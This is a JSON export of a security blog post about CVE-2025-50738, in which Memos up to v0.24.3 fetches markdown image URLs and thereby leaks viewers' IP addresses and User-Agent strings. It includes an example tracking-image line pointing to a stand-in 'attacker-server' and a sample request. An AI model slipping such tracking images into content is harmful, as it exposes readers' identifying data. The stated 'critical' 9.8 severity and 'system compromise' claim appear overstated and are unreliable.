{"id":59871,"date":"2025-08-04T11:50:17","date_gmt":"2025-08-04T11:50:17","guid":{"rendered":""},"modified":"2025-09-08T20:52:39","modified_gmt":"2025-09-09T02:52:39","slug":"cve-2025-50738-memos-application-vulnerability-allows-for-unauthorized-user-information-disclosure","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-50738-memos-application-vulnerability-allows-for-unauthorized-user-information-disclosure\/","title":{"rendered":"<strong>CVE-2025-50738: Memos Application Vulnerability Allows for Unauthorized User Information Disclosure<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is constantly evolving, and new threats are emerging every day. One such threat that has come to the limelight recently is CVE-2025-50738. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7401-critical-file-read-write-vulnerability-in-premium-age-verification-restriction-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"66578\">critical vulnerability<\/a> lies within the Memos application, specifically affecting versions up to v0.24.3. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41666-watchdog-file-replacement-vulnerability-allowing-remote-access-and-control\/\"  data-wpil-monitor-id=\"66656\">vulnerability is particularly concerning because it allows<\/a> an attacker to exploit markdown images with arbitrary URLs to disclose sensitive user information. As a result, the attacker can gain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54378-unauthorized-access-vulnerability-in-hax-cms\/\"  data-wpil-monitor-id=\"68859\">unauthorized access<\/a> to a user&#8217;s IP address, browser User-Agent string, and potentially other request-specific information. Such <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53495-unauthorized-access-data-leakage-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72507\">data leakage<\/a> could have serious consequences, including system compromise and stealthy user tracking.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-50738<br \/>\nSeverity: Critical (CVSS: 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: Information disclosure, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45346-sql-injection-vulnerability-in-bacula-web-resulting-in-potential-system-compromise\/\"  data-wpil-monitor-id=\"68860\">potential system<\/a> compromise, and user tracking<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3479106359\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Memos Application | Up to v0.24.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40738-critical-arbitrary-file-write-vulnerability-in-sinec-nms\/\"  data-wpil-monitor-id=\"66577\">Memos application&#8217;s<\/a> ability to embed markdown images with arbitrary URLs. When a memo containing such an image is viewed by a user, the app would automatically fetch the image URL without the explicit consent or interaction of the user. An <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"72508\">attacker could exploit<\/a> this automatic fetch mechanism by embedding an image URL that points to a server under their control. As the user&#8217;s browser sends a request to fetch the image, it divulges <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30105-sensitive-information-leak-in-dell-xtremio\/\"  data-wpil-monitor-id=\"80900\">sensitive information<\/a> such as the user&#8217;s IP address and the browser User-Agent string, which the attacker can log for malicious purposes.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1162415670\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a hypothetical malicious markdown input an attacker could use, where `http:\/\/attacker-server\/` is an attacker-controlled server:<\/p>\n<pre><code class=\"\" data-line=\"\">![malicious_image](http:\/\/attacker-server\/image.png)<\/code><\/pre>\n<p>When a user views this memo, the Memos application would automatically send a GET request to fetch the image:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/image.png HTTP\/1.1\nHost: attacker-server\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/58.0.3029.110 Safari\/537.36<\/code><\/pre>\n<p>This request discloses the user&#8217;s IP address, User-Agent string, and potentially other sensitive <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42976-memory-corruption-and-information-disclosure-in-sap-netweaver-application-server-abap\/\"  data-wpil-monitor-id=\"74381\">information to the attacker-controlled server<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is constantly evolving, and new threats are emerging every day. One such threat that has come to the limelight recently is CVE-2025-50738. This critical vulnerability lies within the Memos application, specifically affecting versions up to v0.24.3. This vulnerability is particularly concerning because it allows an attacker to exploit markdown images with [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[77,91,82],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59871","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apple","vendor-google","vendor-microsoft"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59871","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59871"}],"version-history":[{"count":6,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59871\/revisions"}],"predecessor-version":[{"id":73314,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59871\/revisions\/73314"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59871"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59871"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59871"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59871"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59871"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59871"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59871"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59871"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59871"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}